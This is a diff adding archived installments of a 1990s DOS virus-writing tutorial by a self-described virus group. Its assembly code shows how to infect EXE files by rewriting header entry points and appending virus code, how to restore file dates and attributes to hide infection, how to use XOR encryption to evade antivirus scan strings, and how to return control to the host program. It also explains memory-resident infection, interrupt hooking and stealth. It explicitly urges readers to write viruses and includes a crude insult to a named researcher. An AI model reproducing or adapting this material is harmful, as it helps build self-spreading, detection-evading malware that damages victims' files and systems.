EXE header: + + Ofs Name Size Comments + 00 Signature 2 bytes always 4Dh 5Ah (MZ) + *02 Last Page Size 1 word number of bytes in last page + *04 File Pages 1 word number of 512 byte pages + 06 Reloc Items 1 word number of entries in table + 08 Header Paras 1 word size of header in 16 byte paras + 0A MinAlloc 1 word minimum memory required in paras + 0C MaxAlloc 1 word maximum memory wanted in paras + *0E PreReloc SS 1 word offset in paras to stack segment + *10 Initial SP 1 word starting SP value + 12 Negative checksum 1 word currently ignored + *14 Pre Reloc IP 1 word execution start address + *16 Pre Reloc CS 1 word preadjusted start segment + 18 Reloc table offset 1 word is offset from start of file) + 1A Overlay number 1 word ignored if not overlay + 1C Reserved/unused 2 words + * denotes bytes which should be changed by the virus + + To understand this, you must first realise that EXE files are structured + into segments. These segments may begin and end anywhere. All you have to + do to infect an EXE file is tack on your code to the end. It will then be + in its own segment. Now all you have to do is make the virus code execute + before the program code. Unlike COM infections, no program code is + overwritten, although the header is modified. Note the virus can still + have the V1/V2 structure, but only V2 needs to be concatenated to the end + of the infected EXE file. + + Offset 4 (File Pages) holds the size of the file divided by 512, rounded + up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the + paragraph displacement (relative to the end of the header) of the initial + stack segment and Offset 10h holds the displacement (relative to the start + of the stack segment) of the initial stack pointer. Offset 16h holds the + paragraph displacement of the entry point relative to the end of the header + and offset 14h holds the displacement entry point relative to the start of + the entry segment. Offset 14h and 16h are the key to adding the startup + code (the virus) to the file. + + Before you infect the file, you should save the CS:IP and SS:SP found in + the EXE header, as you need to restore them upon execution. Note that + SS:SP is NOT stored in Intel reverse-double-word format. If you don't know + what I'm talking about, don't worry; it's only for very picky people. You + should also save the file length as you will need to use that value several + times during the infection routine. Now it's time to calculate some + offsets! To find the new CS:IP and SS:SP, use the following code. It + assumes the file size is loaded in DX:AX. + + mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs + ; ^---make sure you don't destroy the file handle + mov cl, 4 ; Multiply by 16. Won't + shl bx, cl ; work with headers > 4096 + ; bytes. Oh well! + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + ; Now DX:AX is loaded with file size minus header size + mov cx, 10h ; DX:AX/CX = AX Remainder DX + div cx + + This code is rather inefficient. It would probably be easier to divide by + 16 first and then perform a straight subtraction from AX, but this happens + to be the code I chose. Such is life. However, this code does have some + advantages over the more efficient one. With this, you are certain that + the IP (in DX) will be under 15. This allows the stack to be in the same + segment as the entry point, as long as the stack pointer is a large number. + + Now AX*16+DX points to the end of code. If the virus begins immediately + after the end of the code, AX and DX can be used as the initial CS and IP, + respectively. However, if the virus has some junk (code or data) before + the entry point, add the entry point displacement to DX (no ADC with AX is + necessary since DX will always be small). + + mov word ptr [bp+ExeHead+14h], dx ; IP Offset + mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module + + The SP and SS can now be calculated. The SS is equal to the CS. The + actual value of the SP is irrelevant, as long as it is large enough so the + stack will not overwrite code (remember: the stack grows downwards). As a + general rule, make sure the SP is at least 100 bytes larger than the virus + size. This should be sufficient to avoid problems. + + mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS + mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP + + All that is left to fiddle in the header is the file size. Restore the + original file size from wherever you saved it to DX:AX. To calculate + DX:AX/512 and DX:AX MOD 512, use the following code: + + mov cl, 9 ; Use shifts again for + ror dx, cl ; division + push ax ; Need to use AX again + shr ax, cl + adc dx, ax ; pages in dx + pop ax + and ah, 1 ; mod 512 in ax + + mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in + mov word ptr [bp+ExeHead+2], ax ; the EXE header. + + All that is left is writing back the EXE header and concatenating the virus + to the end of the file. You want code? You get code. + + mov ah, 3fh ; BX holds handle + mov cx, 18h ; Don't need entire header + lea dx, [bp+ExeHead] + int 21h + + call infectexe + + mov ax, 4200h ; Rewind to beginning of + xor cx, cx ; file + xor dx, dx + int 21h + + mov ah, 40h ; Write header back + mov cx, 18h + lea dx, [bp+ExeHead] + int 21h + + mov ax, 4202h ; Go to end of file + xor cx, cx + xor dx, dx + int 21h + + mov ah, 40h ; Note: Only need to write + mov cx, part2size ; part 2 of the virus + lea dx, [bp+offset part2start] ; (Parts of virus + int 21h ; defined in first + ; installment of + ; the guide) + + Note that this code alone is not sufficient to write a COM or EXE infector. + Code is also needed to transfer control back to the parent program. The + information needed to do this shall be presented in the next installment. + In the meantime, you can try to figure it out on your own; just remember + that you must restore all that you changed. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 5 - COVER YOUR TRACKS + 컴컴컴컴컴컴컴컴컴컴컴컴컴 + This step, though simple to do, is too easily neglected. It is extremely + important, as a wary user will be alerted to the presence of a virus by any + unnecessary updates to a file. In its simplest form, it involves the + restoration of file attributes, time and date. This is done with the + following: + + mov ax, 5701h ; Set file time/date + mov dx, word ptr [bp+f_date] ; DX = date + mov cx, word ptr [bp+f_time] ; CX = time + int 21h + + mov ah, 3eh ; Handle close file + int 21h + + mov ax, 4301h ; Set attributes + lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA + xor ch, ch + mov cl, byte ptr [bp+f_attrib] ; Attribute in CX + int 21h + + Remember also to restore the directory back to the original one if it + changed during the run of the virus. + + 컴컴컴컴컴컴컴 + WHAT'S TO COME + 컴컴컴컴컴컴컴 + I have been pleased with the tremendous response to the last installment of + the guide. Next time, I shall cover the rest of the virus as well as + various tips and common tricks helpful in writing virii. Until then, make + sure you look for 40Hex, the official PHALCON/SKISM magazine, where we + share tips and information pertinent to the virus community. + diff --git a/textfiles.com/virus/ps-vir3.txt b/textfiles.com/virus/ps-vir3.txt new file mode 100644 index 00000000..28a9c180 --- /dev/null +++ b/textfiles.com/virus/ps-vir3.txt @@ -0,0 +1,442 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// + // // // // || //==== //==== //==// // ||/ + + /==== // // // /==== /| /| + // // // // // //| //| + ===\ // // // ===\ //|| //|| + // // \\ // // // ||// || + ====/ // \\ // ====/ // ||/ || + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + DISCLAIMER: I hereby claim to have written this + file. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + DEDICATION: This is dedicated to Patty Hoffman, + that fat bitch who doesn't know her own name, + and to the millions of dumb fools who were so + scared by Michelangelo that they didn't touch + their computers for an entire day. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + GREETS: to all PHALCON/SKISM members especially + Garbageheap, Hellraiser, and Demogorgon. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + Dark Angel's Crunchy Virus Writing Guide + 컴컴 컴컴컴� 컴컴컴� 컴컴� 컴컴컴� 컴컴� + "It's the right thing to do" + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + INSTALLMENT III: NONRESIDENT VIRII, PART II + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + Welcome to the third installment of my Virus Writing Guide. In the + previous installment, I covered the primary part of the virus - the + replicator. As promised, I shall now cover the rest of the nonresident + virus and present code which, when combined with code from the previous + installment, will be sufficient to allow anyone to write a simple virus. + Additionally, I will present a few easy tricks and tips which can help + optimise your code. + + 컴컴컴컴컴컴� + THE CONCEALER + 컴컴컴컴컴컴� + The concealer is the most common defense virus writers use to avoid + detection of virii. The most common encryption/decryption routine by far + is the XOR, since it may be used for both encryption and decryption. + + encrypt_val dw ? ; Should be somewhere in decrypted area + + decrypt: + encrypt: + mov dx, word ptr [bp+encrypt_val] + mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 + lea si, [bp+part_to_encrypt_start] + mov di, si + + xor_loop: + lodsw + xor ax, dx + stosw + loop xor_loop + + The previous routine uses a simple XOR routine to encrypt or decrypt code + in memory. This is essentially the same routine as the one in the first + installment, except it encrypts words rather than bytes. It therefore has + 65,535 mutations as opposed to 255 and is also twice as fast. While this + routine is simple to understand, it leaves much to be desired as it is + large and therefore is almost begging to be a scan string. A better method + follows: + + encrypt_val dw ? + + decrypt: + encrypt: + mov dx, word ptr [bp+encrypt_val] + lea bx, [bp+part_to_encrypt_start] + mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 + + xor_loop: + xor word ptr [bx], dx + add bx, 2 + loop xor_loop + + Although this code is much shorter, it is possible to further reduce its + size. The best method is to insert the values for the encryption value, + BX, and CX, in at infection-time. + + decrypt: + encrypt: + mov bx, 0FFFFh + mov cx, 0FFFFh + + xor_loop: + xor word ptr [bx], 0FFFFh + add bx, 2 + loop xor_loop + + All the values denoted by 0FFFFh may be changed upon infection to values + appropriate for the infected file. For example, BX should be loaded with + the offset of part_to_encrypt_start relative to the start of the infected + file when the encryption routine is written to the infected file. + + The primary advantage of the code used above is the minimisation of scan + code length. The scan code can only consist of those portions of the code + which remain constant. In this case, there are only three or four + consecutive bytes which remain constant. Since the entire encryption + consist of only about a dozen bytes, the size of the scan code is extremely + tiny. + + Although the function of the encryption routine is clear, perhaps the + initial encryption value and calculation of subsequent values is not as + lucid. The initial value for most XOR encryptions should be 0. You should + change the encryption value during the infection process. A random + encryption value is desired. The simplest method of obtaining a random + number is to consult to internal clock. A random number may be easily + obtained with a simple: + + mov ah, 2Ch ; Get me a random number. + int 21h + mov word ptr [bp+encrypt_val], dx ; Can also use CX + + Some encryption functions do not facilitate an initial value of 0. For an + example, take a look at Whale. It uses the value of the previous word as + an encryption value. In these cases, simply use a JMP to skip past the + decryption routine when coding the virus. However, make sure infections + JMP to the right location! For example, this is how you would code such a + virus: + + org 100h + + start: + jmp past_encryption + + ; Insert your encryption routine here + + past_encryption: + + The encryption routine is the ONLY part of the virus which needs to be + unencrypted. Through code-moving techniques, it is possible to copy the + infection mechanism to the heap (memory location past the end of the file + and before the stack). All that is required is a few MOVSW instructions + and one JMP. First the encryption routine must be copied, then the + writing, then the decryption, then the RETurn back to the program. For + example: + + lea si, [bp+encryption_routine] + lea di, [bp+heap] + mov cx, encryption_routine_size + push si + push cx + rep movsb + + lea si, [bp+writing_routine] + mov cx, writing_routine_size + rep movsb + + pop cx + pop si + rep movsb + + mov al, 0C3h ; Tack on a near return + stosb + + call [bp+heap] + + Although most virii, for simplicity's sake, use the same routine for both + encryption and decryption, the above code shows this is completely + unnecessary. The only modification of the above code for inclusion of a + separate decryption routine is to take out the PUSHes and replace the POPs + with the appropriate LEA si and MOV cx. + + Original encryption routines, while interesting, might not be the best. + Stolen encryption routines are the best, especially those stolen from + encrypted shareware programs! Sydex is notorious for using encryption in + their shareware programs. Take a look at a shareware program's puny + encryption and feel free to copy it into your own. Hopefully, the anti- + viral developers will create a scan string which will detect infection by + your virus in shareware products simply because the encryption is the same. + + Note that this is not a full treatment of concealment routines. A full + text file could be written on encryption/decryption techniques alone. This + is only the simplest of all possible encryption techniques and there are + far more concealment techniques available. However, for the beginner, it + should suffice. + + 컴컴컴컴컴컴컴 + THE DISPATCHER + 컴컴컴컴컴컴컴 + The dispatcher is the portion of the virus which restores control back to + the infected program. The dispatchers for EXE and COM files are, + naturally, different. + + In COM files, you must restore the bytes which were overwritten by your + virus and then transfer control back to CS:100h, which is where all COM + files are initially loaded. + + RestoreCOM: + mov di, 100h ; We are copying to the beginning + lea si, [bp+savebuffer] ; We are copying from our buffer + push di ; Save offset for return (100h) + movsw ; Mo efficient than mov cx, 3, movsb + movsb ; Alter to meet your needs + retn ; A JMP will also work + + EXE files require simply the restoration of the stack segment/pointer and + the code segment/instruction pointer. + + ExeReturn: + mov ax, es ; Start at PSP segment + add ax, 10h ; Skip the PSP + add word ptr cs:[bp+ExeWhereToJump+2], ax + cli + add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack + mov ss, ax + mov sp, word ptr cs:[bp+StackSave] + sti + db 0eah ; JMP FAR PTR SEG:OFF + ExeWhereToJump: + dd 0 + StackSave: + dd 0 + + ExeWhereToJump2 dd 0 + StackSave2 dd 0 + + Upon infection, the initial CS:IP and SS:SP should be stored in + ExeWhereToJump2 and StackSave2, respectively. They should then be moved to + ExeWhereToJump and StackSave before restoration of the program. This + restoration may be easily accomplished with a series of MOVSW instructions. + + Some like to clear all the registers prior to the JMP/RET, i.e. they issue + a bunch of XOR instructions. If you feel happy and wish to waste code + space, you are welcome to do this, but it is unnecessary in most instances. + + 컴컴컴컴 + THE BOMB + 컴컴컴컴 + + "The horror! The horror!" + - Joseph Conrad, The Heart of Darkness + + What goes through the mind of a lowly computer user when a virus activates? + What terrors does the unsuspecting victim undergo as the computer suddenly + plays a Nazi tune? How awful it must be to lose thousands of man-hours of + work in an instant! + + Actually, I do not support wanton destruction of data and disks by virii. + It serves no purpose and usually shows little imagination. For example, + the world-famous Michelangelo virus did nothing more than overwrite sectors + of the drive with data taken at random from memory. How original. Yawn. + Of course, if you are hell-bent on destruction, go ahead and destroy all + you want, but just remember that this portion of the virus is usually the + only part seen by "end-users" and distinguishes it from others. The best + examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt. + Don't forget the PHALCON/SKISM line, especially those by me (I had to throw + in a plug for the group)! + + As you can see, there's no code to speak of in this section. Since all + bombs should be original, there isn't much point of putting in the code for + one, now is there! Of course, some virii don't contain any bomb to speak + of. Generally speaking, only those under about 500 bytes lack bombs. + There is no advantage of not having a bomb other than size considerations. + + 컴컴컴컴� + MEA CULPA + 컴컴컴컴� + I regret to inform you that the EXE infector presented in the last + installment was not quite perfect. I admit it. I made a mistake of + colossal proportions The calculation of the file size and file size mod + 512 was screwed up. Here is the corrected version: + + ; On entry, DX:AX hold the NEW file size + + push ax ; Save low word of filesize + mov cl, 9 ; 2^9 = 512 + shr ax, cl ; / 512 + ror dx, cl ; / 512 (sort of) + stc ; Check EXE header description + ; for explanation of addition + adc dx, ax ; of 1 to the DIV 512 portion + pop ax ; Restore low word of filesize + and ah, 1 ; MOD 512 + + This results in the file size / 512 + 1 in DX and the file size modulo 512 + in AX. The rest remains the same. Test your EXE infection routine with + Microsoft's LINK.EXE, since it won't run unless the EXE infection is + perfect. + + I have saved you the trouble and smacked myself upside the head for this + dumb error. + + 컴컴컴컴컴컴컴� + TIPS AND TRICKS + 컴컴컴컴컴컴컴� + So now all the parts of the nonresident virus have been covered. Yet I + find myself left with several more K to fill. So, I shall present several + simple techniques anyone can incorporate into virii to improve efficiency. + + 1. Use the heap + The heap is the memory area between the end of code and the bottom of + the stack. It can be conveniently treated as a data area by a virus. + By moving variables to the heap, the virus need not keep variables in + its code, thereby reducing its length. Note that since the contents + heap are not part of the virus, only temporary variables should be + kept there, i.e. the infection routine should not count the heap as + part of the virus as that would defeat the entire purpose of its use. + There are two ways of using the heap: + + ; First method + + EndOfVirus: + Variable1 equ $ + Variable2 equ Variable1 + LengthOfVariable1 + Variable3 equ Variable2 + LengthOfVariable2 + Variable4 equ Variable3 + LengthOfVariable3 + + ; Example of first method + + EndOfVirus: + StartingDirectory = $ + TemporaryDTA = StartingDirectory + 64 + FileSize = TemporaryDTA + 42 + Flag = FileSize + 4 + + ; Second method + + EndOfVirus: + Variable1 db LengthOfVariable1 dup (?) + Variable2 db LengthOfVariable2 dup (?) + Variable3 db LengthOfVariable3 dup (?) + Variable4 db LengthOfVariable4 dup (?) + + ; Example of second method + EndOfVirus: + StartingDirectory db 64 dup (?) + TemporaryDTA db 42 dup (?) + FileSize dd ? + Flag db ? + + The two methods differ slightly. By using the first method, you + create a file which will be the exact length of the virus (plus + startup code). However, when referencing the variables, size + specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always + be used or the assembler will become befuddled. Secondly, if the + variables need to be rearranged for some reason, the entire chain of + EQUates will be destroyed and must be rebuilt. Virii coded with + second method do not need size specifications, but the resulting file + will be larger than the actual size of the virus. While this is not + normally a problem, depending on the reinfection check, the virus may + infect the original file when run. This is not a big disability, + especially considering the advantages of this method. + + In any case, the use of the heap can greatly lessen the effective + length of the virus code and thereby make it much more efficient. The + only thing to watch out for is infecting large COM files where the + heap will "wrap around" to offset 0 of the same segment, corrupting + the PSP. However, this problem is easily avoided. When considering + whether a COM file is too large to infect for this reason, simply add + the temporary variable area size to the virus size for the purposes of + the check. + + 2. Use procedures + Procedures are helpful in reducing the size of the virus, which is + always a desired goal. Only use procedures if they save space. To + determine the amount of bytes saved by the use of a procedure, use the + following formula: + + Let PS = the procedure size, in bytes + bytes saved = (PS - 4) * number invocations - PS + + For example, the close file procedure, + + close_file: + mov ah, 3eh ; 2 bytes + int 21h ; 2 bytes + ret ; 1 byte + ; PS = 2+2+1 = 5 + + is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A + whopping savings of one (1) byte! Since no virus closes a file in six + different places, the close file procedure is clearly useless and + should be avoided. + + Whenever possible, design the procedures to be as flexible as + possible. This is the chief reason why Bulgarian coding is so tight. + Just take a look at the source for Creeping Death. For example, the + move file pointer procedure: + + go_eof: + mov al, 2 + move_fp: + xor dx, dx + go_somewhere: + xor cx, cx + mov ah, 42h + int 21h + ret + + The function was build with flexibility in mind. With a CALL to + go_eof, the procedure will move the file pointer to the end of the + file. A CALL to move_fp with AL set to 0, the file pointer will be + reset. A CALL to go_somewhere with DX and AL set, the file pointer + may be moved anywhere within the file. If the function is used + heavily, the savings could be enormous. + + 3. Use a good assembler and debugger + The best assembler I have encountered to date is Turbo Assembler. It + generates tight code extremely quickly. Use the /m2 option to + eliminate all placeholder NOPs from the code. The advantages are + obvious - faster development and smaller code. + + The best debugger is also made by Borland, the king of development + tools. Turbo Debugger has so many features that you might just want + to buy it so you can read the manual! It can bypass many debugger + traps with ease and is ideal for testing. Additionally, this debugger + has 286 and 386 specific protected mode versions, each of which are + even more powerful than their real mode counterparts. + + 4. Don't use MOV instead of LEA + When writing your first virus, you may often forget to use LEA instead + of MOV when loading offsets. This is a serious mistake and is often + made by beginning virus coders. The harmful effects of such a + grevious error are immediately obvious. If the virus is not working, + check for this bug. It's almost as hard to catch as a NULL pointer + error in C. + + 5. Read the latest issues of 40Hex + 40Hex, PHALCON/SKISM's official journal of virus techniques and news, + is a publication not to be missed by any self-respecting virus writer. + Each issue contains techniques and source code, designed to help all + virus writers, be they beginners or experts. Virus-related news is + also published. Get it, read it, love it, eat it! + + 컴컴컴 + SO NOW + 컴컴컴 + you have all the code and information sufficient to write a viable virus, + as well as a wealth of techniques to use. So stop reading and start + writing! The only way to get better is through practise. After two or + three tries, you should be well on your way to writing good virii. diff --git a/textfiles.com/virus/ps-vir4.txt b/textfiles.com/virus/ps-vir4.txt new file mode 100644 index 00000000..b2857207 --- /dev/null +++ b/textfiles.com/virus/ps-vir4.txt @@ -0,0 +1,377 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// + // // // // || //==== //==== //==// // ||/ + + /==== // // // /==== /| /| + // // // // // //| //| + ===\ // // // ===\ //|| //|| + // // \\ // // // ||// || + ====/ // \\ // ====/ // ||/ || + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + DISCLAIMER: This file is 100% guaranteed to + exist. The author makes no claims to the + existence or nonexistence of the reader. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + This space intentionally left blank. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + GREETS: Welcome home, Hellraiser! Hello to + the rest of the PHALCON/SKISM crew: Count + Zero, Demogorgon, Garbageheap, as well as + everyone else I failed to mention. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + Dark Angel's Clumpy Virus Writing Guide + 컴컴 컴컴컴� 컴컴컴 컴컴� 컴컴컴� 컴컴� + "It's the cheesiest" - Kraft + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + INSTALLMENT IV: RESIDENT VIRII, PART I + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + Now that the topic of nonresident virii has been addressed, this series now + turns to memory resident virii. This installment covers the theory behind + this type of virus, although no code will be presented. With this + knowledge in hand, you can boldly write memory resident virii confident + that you are not fucking up too badly. + + 컴컴컴컴컴 + INTERRUPTS + 컴컴컴컴컴 + DOS kindly provides us with a powerful method of enhancing itself, namely + memory resident programs. Memory resident programs allow for the extention + and alteration of the normal functioning of DOS. To understand how memory + resident programs work, it is necessary to delve into the intricacies of + the interrupt table. The interrupt table is located from memory location + 0000:0000 to 0000:0400h (or 0040:0000), just below the BIOS information + area. It consists of 256 double words, each representing a segment:offset + pair. When an interrupt call is issued via an INT instruction, two things + occur, in this order: + + 1) The flags are pushed onto the stack. + 2) A far call is issued to the segment:offset located in the interrupt + table. + + To return from an interrupt, an iret instruction is used. The iret + instruction reverses the order of the int call. It performs a retf + followed by a popf. This call/return procedure has an interesting + sideeffect when considering interrupt handlers which return values in the + flags register. Such handlers must directly manipulate the flags register + saved in the stack rather than simply directly manipulating the register. + + The processor searches the interrupt table for the location to call. For + example, when an interrupt 21h is called, the processor searches the + interrupt table to find the address of the interrupt 21h handler. The + segment of this pointer is 0000h and the offset is 21h*4, or 84h. In other + words, the interrupt table is simply a consecutive chain of 256 pointers to + interrupts, ranging from interrupt 0 to interrupt 255. To find a specific + interrupt handler, load in a double word segment:offset pair from segment + 0, offset (interrupt number)*4. The interrupt table is stored in standard + Intel reverse double word format, i.e. the offset is stored first, followed + by the segment. + + For a program to "capture" an interrupt, that is, redirect the interrupt, + it must change the data in the interrupt table. This can be accomplished + either by direct manipulation of the table or by a call to the appropriate + DOS function. If the program manipulates the table directly, it should put + this code between a CLI/STI pair, as issuing an interrupt by the processor + while the table is half-altered could have dire consequences. Generally, + direct manipulation is the preferable alternative, since some primitive + programs such as FluShot+ trap the interrupt 21h call used to set the + interrupt and will warn the user if any "unauthorised" programs try to + change the handler. + + An interrupt handler is a piece of code which is executed when an interrupt + is requested. The interrupt may either be requested by a program or may be + requested by the processor. Interrupt 21h is an example of the former, + while interrupt 8h is an example of the latter. The system BIOS supplies a + portion of the interrupt handlers, with DOS and other programs supplying + the rest. Generally, BIOS interrupts range from 0h to 1Fh, DOS interrupts + range from 20h to 2Fh, and the rest is available for use by programs. + + When a program wishes to install its own code, it must consider several + factors. First of all, is it supplanting or overlaying existing code, that + is to say, is there already an interrupt handler present? Secondly, does + the program wish to preserve the functioning of the old interrupt handler? + For example, a program which "hooks" into the BIOS clock tick interrupt + would definitely wish to preserve the old interrupt handler. Ignoring the + presence of the old interrupt handler could lead to disastrous results, + especially if previously-loaded resident programs captured the interrupt. + + A technique used in many interrupt handlers is called "chaining." With + chaining, both the new and the old interrupt handlers are executed. There + are two primary methods for chaining: preexecution and postexecution. With + preexecution chaining, the old interrupt handler is called before the new + one. This is accomplished via a pseudo-INT call consisting of a pushf + followed by a call far ptr. The new interrupt handler is passed control + when the old one terminates. Preexecution chaining is used when the new + interrupt handler wishes to use the results of the old interrupt handler in + deciding the appropriate action to take. Postexecution chaining is more + straightforward, simply consisting of a jmp far ptr instruction. This + method doesn't even require an iret instruction to be located in the new + interrupt handler! When the jmp is executed, the new interrupt handler has + completed its actions and control is passed to the old interrupt handler. + This method is used primarily when a program wishes to intercept the + interrupt call before DOS or BIOS gets a chance to process it. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + AN INTRODUCTION TO DOS MEMORY ALLOCATION + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + Memory allocation is perhaps one of the most difficult concepts, certainly + the hardest to implement, in DOS. The problem lies in the lack of official + documentation by both Microsoft and IBM. Unfortunately, knowledge of the + DOS memory manager is crucial in writing memory-resident virii. + + When a program asks DOS for more memory, the operating system carves out a + chunk of memory from the pool of unallocated memory. Although this concept + is simple enough to understand, it is necessary to delve deeper in order to + have sufficient knowledge to write effective memory-resident virii. DOS + creates memory control blocks (MCBs) to help itself keep track of these + chunks of memory. MCBs are paragraph-sized areas of memory which are each + devoted to keeping track of one particular area of allocated memory. When + a program requests memory, one paragraph for the MCB is allocated in + addition to the memory requested by the program. The MCB lies just in + front of the memory it controls. Visually, a MCB and its memory looks + like: + + 旼컴컴컴쩡컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + � MCB 1 � Chunk o' memory controlled by MCB 1 � + 읕컴컴컴좔컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + When a second section of memory is requested, another MCB is created just + above the memory last allocated. Visually: + + 旼컴컴컴쩡컴컴컴컴쩡컴컴컴쩡컴컴컴컴� + � MCB 1 � Chunk 1 � MCB 2 � Chunk 2 � + 읕컴컴컴좔컴컴컴컴좔컴컴컴좔컴컴컴컴� + + In other words, the MCBs are "stacked" one on top of the other. It is + wasteful to deallocate MCB 1 before MCB 2, as holes in memory develop. The + structure for the MCB is as follows: + + Offset Size Meaning + 컴컴컴 컴컴컴� 컴컴컴� + 0 BYTE 'M' or 'Z' + 1 WORD Process ID (PSP of block's owner) + 3 WORD Size in paragraphs + 5 3 BYTES Reserved (Unused) + 8 8 BYTES DOS 4+ uses this. Yay. + + If the byte at offset 0 is 'M', then the MCB is not the end of the chain. + The 'Z' denotes the end of the MCB chain. There can be more than one MCB + chain present in memory at once and this "feature" is used by virii to go + resident in high memory. The word at offset 1 is normally equal to the PSP + of the MCB's owner. If it is 0, it means that the block is free and is + available for use by programs. A value of 0008h in this field denotes DOS + as the owner of the block. The value at offset 3 does NOT include the + paragraph allocated for the MCB. It reflects the value passed to the DOS + allocation functions. All fields located after the block size are pretty + useless so you might as well ignore them. + + When a COM file is loaded, all available memory is allocated to it by DOS. + When an EXE file is loaded, the amount of memory specified in the EXE + header is allocated. There is both a minimum and maximum value in the + header. Usually, the linker will set the maximum value to FFFFh + paragraphs. If the program wishes to allocate memory, it must first shrink + the main chunk of memory owned by the program to the minimum required. + Otherwise, the pathetic attempt at memory allocation will fail miserably. + + Since programs normally are not supposed to manipulate MCBs directly, the + DOS memory manager calls (48h - 4Ah) all return and accept values of the + first program-usable memory paragraph, that is, the paragraph of memory + immediately after the MCB. It is important to keep this in mind when + writing MCB-manipulating code. + + 컴컴컴컴컴컴컴컴컴컴컴컴� + METHODS OF GOING RESIDENT + 컴컴컴컴컴컴컴컴컴컴컴컴� + There are a variety of memory resident strategies. The first is the use of + the traditional DOS interrupt TSR routines, either INT 27h or INT + 21h/Function 31h. These routines are undesirable when writing virii, + because they do not return control back to the program after execution. + Additionally, they show up on "memory walkers" such as PMAP and MAPMEM. + Even a doorknob can spot such a blatant viral presence. + + The traditional viral alternative to using the standard DOS interrupt is, + of course, writing a new residency routine. Almost every modern virus uses + a routine to "load high," that is, to load itself into the highest possible + memory location. For example, in a 640K system, the virus would load + itself just under the 640K but above the area reserved by DOS for program + use. Although this is technically not the high memory area, it shall be + referred to as such in the remainder of this file in order to add confusion + and general chaos into this otherwise well-behaved file. Loading high can + be easily accomplished through a series of interrupt calls for reallocation + and allocation. The general method is: + + 1. Find the memory size + 2. Shrink the program's memory to the total memory size - virus size + 3. Allocate memory for the virus (this will be in the high memory area) + 4. Change the program's MCB to the end of the chain (Mark it with 'Z') + 5. Copy the virus to high memory + 6. Save the old interrupt vectors if the virus wishes to chain vectors + 7. Set the interrupt vectors to the appropriate locations in high memory + + When calculating memory sizes, remember that all sizes are in paragraphs. + The MCB must also be considered, as it takes up one paragraph of memory. + The advantage of this method is that it does not, as a rule, show up on + memory walkers. However, the total system memory as shown by such programs + as CHKDSK will decrease. + + A third alternative is no allocation at all. Some virii copy themselves to + the memory just under 640K, but fail to allocate the memory. This can have + disastrous consequences, as any program loaded by DOS can possibly use this + memory. If it is corrupted, unpredictable results can occur. Although no + memory loss is shown by CHKDSK, the possible chaos resulting from this + method is clearly unacceptable. Some virii use memory known to be free. + For example, the top of the interrupt table or parts of video memory all + may be used with some assurance that the memory will not be corrupted. + Once again, this technique is undesirable as it is extremely unstable. + + These techniques are by no means the only methods of residency. I have + seen such bizarre methods as going resident in the DOS internal disk + buffers. Where there's memory, there's a way. + + It is often desirable to know if the virus is already resident. The + simplest method of doing this is to write a checking function in the + interrupt handler code. For example, a call to interrupt 21h with the ax + register set to 7823h might return a 4323h value in ax, signifying + residency. When using this check, it is important to ensure that no + possible conflicts with either other programs or DOS itself will occur. + Another method, albeit a costly process in terms of both time and code + length, is to check each segment in memory for the code indicating the + presence of the virus. This method is, of course, undesirable, since it is + far, far simpler to code a simple check via the interrupt handler. By + using any type of check, the virus need not fear going resident twice, + which would simply be a waste of memory. + + 컴컴컴컴컴컴� + WHY RESIDENT? + 컴컴컴컴컴컴� + Memory resident virii have several distinct advantages over runtime virii. + o Size + Memory resident virii are often smaller than their runtime brethern as + they do not need to include code to search for files to infect. + o Effectiveness + They are often more virulent, since even the DIR command can be + "infected." Generally, the standard technique is to infect each file + that is executed while the virus is resident. + o Speed + Runtime virii infect before a file is executed. A poorly written or + large runtime virus will cause a noticible delay before execution + easily spotted by users. Additionally, it causes inordinate disk + activity which is detrimental to the lifespan of the virus. + o Stealth + The manipulation of interrupts allows for the implementation of + stealth techniques, such as the hiding of changes in file lengths in + directory listings and on-the-fly disinfection. Thus it is harder for + the average user to detect the virus. Additionally, the crafty virus + may even hide from CRC checks, thereby obliterating yet another anti- + virus detection technique. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + STRUCTURE OF THE RESIDENT VIRUS + 